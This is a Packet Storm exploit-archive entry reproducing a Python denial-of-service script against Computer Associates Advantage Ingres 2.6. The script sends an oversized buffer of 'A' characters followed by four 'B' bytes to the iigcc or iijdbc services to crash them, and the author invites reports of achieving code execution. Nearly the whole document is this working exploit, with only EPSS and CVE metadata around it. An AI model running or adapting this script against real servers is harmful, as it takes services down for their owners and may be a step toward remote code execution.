Lucene search

K
packetstormFdiskPACKETSTORM:92818
HistoryAug 17, 2010 - 12:00 a.m.

Computer Associates Advantage Ingres 2.6 Denial Of Service

2010-08-1700:00:00
fdisk
packetstormsecurity.com
20

0.796 High

EPSS

Percentile

98.0%

`# Exploit Title: Computer Associates Advantage Ingres 2.6 Denial of Service Vulnerabilities  
# Date: 2010-08-14  
# Author: fdisk  
# Version: 2.6  
# Tested on: Windows 2003 Server SP1 en  
# CVE: CVE-2007-3334 - CVE-2007-3336 - CVE-2007-3337 - CVE-2007-3338  
# Notes: Fixed in the last version.  
# please let me know if you are/were able to get code execution <rr dot fdisk at gmail dot com>  
  
import socket  
import sys  
  
if len(sys.argv) != 4:  
print "Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>"  
print "Vulnerable Services: iigcc, iijdbc"  
sys.exit(1)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
service = sys.argv[3]  
  
if service == "iigcc":  
payload = "\x41" * 2106  
elif service == "iijdbc":  
payload = "\x41" * 1066  
else:  
print "Vulnerable Services: iigcc, iijdbc"  
sys.exit(1)  
  
payload += "\x42" * 4  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
print "Sending payload"  
s.send(payload)  
data = s.recv(1024)  
s.close()  
print 'Received', repr(data)  
  
print service + " crashed"  
  
`

0.796 High

EPSS

Percentile

98.0%